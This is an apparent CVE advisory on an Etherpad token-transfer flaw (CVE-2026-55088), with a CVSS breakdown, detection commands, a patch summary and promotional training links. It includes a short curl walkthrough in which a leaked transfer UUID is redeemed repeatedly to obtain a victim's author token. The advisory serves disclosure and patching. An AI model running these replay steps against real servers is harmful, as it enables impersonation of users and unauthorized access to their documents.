Listen to this Post
CVE-2026-55088 describes a critical vulnerability in Etherpad’s device-to-device author-token transfer mechanism. Etherpad provides an endpoint pair under `/tokenTransfer` that allows a logged-in user to move their HttpOnly author token from one browser to another, typically by scanning a QR code containing the transfer URL. The flow consists of two steps: first, the source device performs a `POST /tokenTransfer` request; the server reads the author cookie from the server-side cookie jar, mints a random UUID, and stores the author token (along with an optional `prefsHttp` field) in the database keyed by that UUID, returning the UUID to the client. Second, the destination device performs a `GET /tokenTransfer/{uuid}` request; the server retrieves the stored record and sets the HttpOnly author cookie on the response.
The original implementation contains three fundamental security flaws. First, there is no expiration check: a `createdAt` timestamp is written to the database record upon POST, but it is never inspected during the `GET` request. Consequently, a leaked transfer URL remains redeemable indefinitely. Second, there is no single-use enforcement: the database record is not deleted after a successful GET, allowing the same UUID to be redeemed repeatedly, each time setting a fresh cookie on the requesting party. Third, the author token is echoed in the response body: the `GET` handler uses res.send(tokenData), which serializes the entire database record—including the raw author token in cleartext—into the JSON response. This allows any JavaScript on the page that issued the `GET` request to read the token, completely defeating the HttpOnly cookie design that was specifically intended to keep the token inaccessible to client-side scripts. The combination of these flaws means that any disclosure of a transfer UUID—whether through browser history, mis-shared QR codes, screenshots, server logs, third-party plugins that proxy the request, or unencrypted intermediate hops—results in persistent authorship impersonation of the originating account. An attacker does not merely obtain a single session cookie; they can re-redeem the UUID repeatedly and also obtain the raw cleartext token for storage and replay against other endpoints.
The CVSS v3.1 score is 7.5 (High). The vector is AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N: exploitable over the network (AV:N); requires the attacker to learn the transfer UUID via an out-of-band channel—UUIDs are random (AC:H); no authentication required at the redemption endpoint (PR:N); the legitimate user must have issued the `POST` and the UUID must end up where the attacker can see it (UI:R); full author identity takeover—read and write everything the author can (C:H/I:H); no direct denial-of-service (A:N).
DailyCVE Form:
Platform: Etherpad
Version: 2.6.0 – 3.0.0
Vulnerability: Token replay + info leak
Severity: High (7.5 CVSS)
Date: 2026-08-13
Prediction: 2026-08-20
What Undercode Say:
Check vulnerable version
npm list ep_etherpad-lite
Verify if /tokenTransfer endpoint is exposed
curl -s -o /dev/null -w "%{http_code}" https://pad.example/tokenTransfer
Monitor for suspicious GET requests to /tokenTransfer/ in access logs
grep "GET /tokenTransfer/" /var/log/nginx/access.log
Check database for stale tokenTransfer records (example for DirtyDB)
find var/dirty-db/ -name "tokenTransfer" -type f
Exploit: (Educational Purposes!)
1. Victim initiates a transfer from their device
curl -X POST https://pad.example/tokenTransfer \
-H 'Cookie: token=t.victim-author-token' \
-H 'Content-Type: application/json' \
-d '{"prefsHttp": ""}'
Response: {"id": "1f0b2a3c-..."}
2. UUID is leaked via browser history, intercepted QR code, screenshot, etc.
3. Attacker redeems the UUID from a different machine
curl -i https://pad.example/tokenTransfer/1f0b2a3c-...
Response headers include:
Set-Cookie: token=t.victim-author-token; Path=/; HttpOnly; ...
Response body contains:
{"token":"t.victim-author-token", "prefsHttp": "", "createdAt": ...}
4. Attacker can re-redeem the same UUID repeatedly (no single-use enforcement)
curl -i https://pad.example/tokenTransfer/1f0b2a3c-...
Response body still returns the full record with cleartext token
5. Attacker now possesses the victim's author token for storage and replay
Protection:
- Upgrade to ep_etherpad-lite >= 3.1.0 (commit
8c6104c) - The patch introduces a 5-minute TTL (
TRANSFER_TTL_MS); records older than this return `410 Gone`
– Single-use enforcement: the database record is removed before the success response is written - Body sanitisation: the response body becomes
{ok: true, prefsHttp}—the raw author token is no longer included - As a temporary workaround, block `/tokenTransfer/` at the reverse-proxy level if device-pairing is not in use
Impact:
Full author identity takeover. An attacker who obtains a single transfer UUID can:
– Impersonate the victim author with full read and write access to all pads and content the victim can access
– Maintain persistent access indefinitely due to the absence of expiration
– Replay the UUID multiple times to generate fresh sessions
– Extract the raw cleartext author token for offline storage and replay against other authenticated endpoints
– Compromise the victim’s authorship across all pads and collaborative sessions
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
